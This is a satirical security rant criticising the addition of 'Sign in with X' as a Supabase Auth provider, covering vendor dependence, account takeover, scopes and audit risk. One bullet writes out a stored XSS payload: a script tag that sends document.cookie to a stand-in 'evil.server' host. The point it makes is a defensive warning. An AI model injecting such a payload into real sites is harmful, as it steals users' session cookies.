🔥 The DB Grill 🔥

Alright, let's pull up a chair. I've got my coffee, which is just lukewarm despair, and I've just read this... this announcement.

Oh, wonderful. "You can now add 'Sign in with X' to your application." You say that with the same cheerful tone as someone announcing free cake in the breakroom, completely oblivious to the fact that it's laced with ipecac. You haven't added a feature; you've installed a revolving door directly into your server room and handed the key to a toddler with a penchant for chaos.

You're hitching your critical user authentication, the very foundation of your application's security, to a platform that's currently undergoing a public identity crisis. Yes, let's build our house on the geological fault line that is the former Twitter API. What's the uptime on that thing these days? Is it measured in hours or in Elon's whims? You've just introduced a single point of failure that has all the stability of a Jenga tower in an earthquake.

But let's talk about the implementation. OAuth 2.0. You say it like it's a magic incantation that wards off evil. It's a spec, not a shield. A spec that, if you get one tiny detail wrong, becomes a welcome mat for attackers. I can already smell the CVEs baking.

You can now add "Sign in with X" to your application...

Let me translate that for you: You can now inherit the security posture, data quality, and existential volatility of an entirely separate company you have no control over.

I'm picturing the SOC 2 audit right now. It's going to be a bloodbath. "So, Mr. Developer, can you walk me through your user identity verification process?" "Well, we delegate that to X." "And what's your process for ensuring the integrity of accounts on X?" "...We trust them?" "So you've performed a vendor risk assessment on them, reviewed their internal controls, their BCP/DR plans?" The sound of crickets and a CISO quietly updating their LinkedIn profile.

You're not just getting an authentication token. You're creating a data dependency. What happens when the data coming from the X API is... let's be charitable and say, unpredictable?

• What about a username that contains a payload for a stored XSS attack? You're just going to happily slurp that in and render it on your admin dashboard, right? "<script>fetch('https://evil.server/steal_cookie?c=' + document.cookie)</script>". Looks like a valid username to me!
• What about account takeovers on X? Congratulations, your application now has an account takeover vulnerability, and it's not even your fault! But guess who's going to be on the front page of the news when all your user accounts get drained? Hint: not X.
• What are the scopes you're encouraging developers to ask for? I can just see it now. The boilerplate code will ask for read, write, DMs, and the user's social security number, just in case. Principle of Least Privilege is not a suggestion, it's the law. Or it should be.

This isn't a "provider in Supabase Auth." It's a supply chain risk. You've just made every single application that uses this feature a downstream victim of whatever security incident happens over at X headquarters this week. And there's always something happening this week.

So go on, celebrate this new "feature." Put it in your release notes and talk about developer velocity and frictionless user onboarding. I'll just be here, drafting the incident response plan you'll inevitably need. I'll even pre-write the "we take your security very seriously" blog post for you.

But hey, don't mind me. I'm sure it will be fine. It’s just your entire user database, your company’s reputation, and your compliance posture on the line. What's the worst that could happen?